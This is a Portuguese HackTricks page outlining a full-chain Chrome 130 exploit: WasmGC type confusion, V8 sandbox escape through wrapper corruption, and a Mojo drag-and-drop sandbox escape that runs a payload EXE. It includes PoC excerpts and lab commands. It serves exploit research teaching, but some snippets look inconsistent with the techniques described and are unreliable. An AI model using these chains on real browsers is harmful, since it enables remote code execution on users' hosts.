# Chrome Exploiting

{{#include ../banners/hacktricks-training.md}}

> Esta página fornece uma visão geral de alto nível, mas **prática**, de um fluxo de trabalho de exploração "full-chain" moderno contra o Google Chrome 130, baseado na série de pesquisas **“101 Chrome Exploitation”** (Parte-0 — Prefácio).
> O objetivo é fornecer aos pentesters e desenvolvedores de exploits o conhecimento mínimo necessário para reproduzir ou adaptar as técnicas para sua própria pesquisa.

## 1. Recapitulação da Arquitetura do Chrome
Entender a superfície de ataque requer saber onde o código é executado e quais sandboxes se aplicam.
```
+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+
```
Layered defence-in-depth:

* **V8 sandbox** (Isolate): permissões de memória são restritas para evitar leitura/escrita arbitrária de JS / Wasm JITado.
* A divisão **Renderer ↔ Browser** é garantida via passagem de mensagens **Mojo/IPC**; o renderer não tem acesso nativo ao FS/rede.
* **OS sandboxes** contêm ainda mais cada processo (Níveis de Integridade do Windows / `seccomp-bpf` / perfis de sandbox do macOS).

Um atacante *remoto*, portanto, precisa de **três** primitivas sucessivas:

1. Corrupção de memória dentro do V8 para obter **RW arbitrário dentro do heap do V8**.
2. Um segundo bug permitindo que o atacante **escape do sandbox do V8 para a memória completa do renderer**.
3. Um escape final do sandbox (geralmente lógica em vez de corrupção de memória) para executar código **fora do sandbox do Chrome OS**.

---

## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Uma falha na optimização **Turboshaft** do TurboFan classifica incorretamente os **tipos de referência WasmGC** quando o valor é produzido e consumido dentro de um *único loop de bloco básico*.

Efeito:
* O compilador **ignora a verificação de tipo**, tratando uma *referência* (`externref/anyref`) como um *int64*.
* Wasm elaborado permite sobrepor um cabeçalho de objeto JS com dados controlados pelo atacante → <code>addrOf()</code> & <code>fakeObj()</code> **primitivas AAW / AAR**.

PoC mínima (excerto):
```WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))
```
Otimização de gatilho e objetos de spray a partir do JS:
```js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
```
Resultado: **leitura/gravação arbitrária dentro do V8**.

---

## 3. Etapa 2 – Escapando do Sandbox do V8 (issue 379140430)

Quando uma função Wasm é compilada em nível superior, um **wrapper JS ↔ Wasm** é gerado. Um bug de incompatibilidade de assinatura faz com que o wrapper escreva além do final de um objeto **`Tuple2`** confiável quando a função Wasm é reotimizada *enquanto ainda está na pilha*.

Sobrescrever os 2 × campos de 64 bits do objeto `Tuple2` resulta em **leitura/gravação em qualquer endereço dentro do processo Renderer**, efetivamente contornando o sandbox do V8.

Passos chave na exploração:
1. Colocar a função no estado **Tier-Up** alternando código turbofan/baseline.
2. Acionar o tier-up enquanto mantém uma referência na pilha (`Function.prototype.apply`).
3. Usar AAR/AAW da Etapa-1 para encontrar e corromper o `Tuple2` adjacente.

Identificação do wrapper:
```js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);
```
Após a corrupção, possuímos um **primitivo R/W do renderizador** totalmente funcional.

---

## 4. Etapa 3 – Escape do Sandbox do OS do Renderizador (CVE-2024-11114)

A interface IPC **Mojo** `blink.mojom.DragService.startDragging()` pode ser chamada do Renderizador com parâmetros *parcialmente confiáveis*. Ao criar uma estrutura `DragData` apontando para um **caminho de arquivo arbitrário**, o renderizador convence o navegador a realizar um arrastar e soltar *nativo* **fora do sandbox do renderizador**.

Abusando disso, podemos programaticamente “arrastar” um EXE malicioso (anteriormente colocado em um local gravável por qualquer um) para a Área de Trabalho, onde o Windows executa automaticamente certos tipos de arquivo assim que são soltos.

Exemplo (simplificado):
```js
const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
```
Nenhuma corrupção de memória adicional é necessária – a **falha de lógica** nos dá execução arbitrária de arquivos com os privilégios do usuário.

---

## 5. Fluxo Completo da Cadeia

1. **Usuário visita** página da web maliciosa.
2. **Etapa 1**: Módulo Wasm abusa do CVE-2025-0291 → V8 heap AAR/AAW.
3. **Etapa 2**: Incompatibilidade de wrapper corrompe `Tuple2` → escapa do sandbox V8.
4. **Etapa 3**: `startDragging()` IPC → escapa do sandbox do OS & executa o payload.

Resultado: **Execução Remota de Código (RCE)** no host (Chrome 130, Windows/Linux/macOS).

---

## 6. Configuração de Laboratório e Depuração
```bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```
Flags úteis ao iniciar uma build de *development* do Chrome:
```bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
```
---

## Conclusões

* **WebAssembly JIT bugs** continuam sendo um ponto de entrada confiável – o sistema de tipos ainda é jovem.
* Obter um segundo bug de corrupção de memória dentro do V8 (por exemplo, incompatibilidade de wrapper) simplifica muito a **escapada do sandbox do V8**.
* Fraquezas em nível lógico nas interfaces IPC privilegiadas do Mojo são frequentemente suficientes para uma **escapada final do sandbox** – fique atento a bugs *não relacionados à memória*.



## Referências
* [101 Chrome Exploitation — Part 0 (Prefácio)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
* [Arquitetura de segurança do Chromium](https://chromium.org/developers/design-documents/security)
{{#include ../banners/hacktricks-training.md}}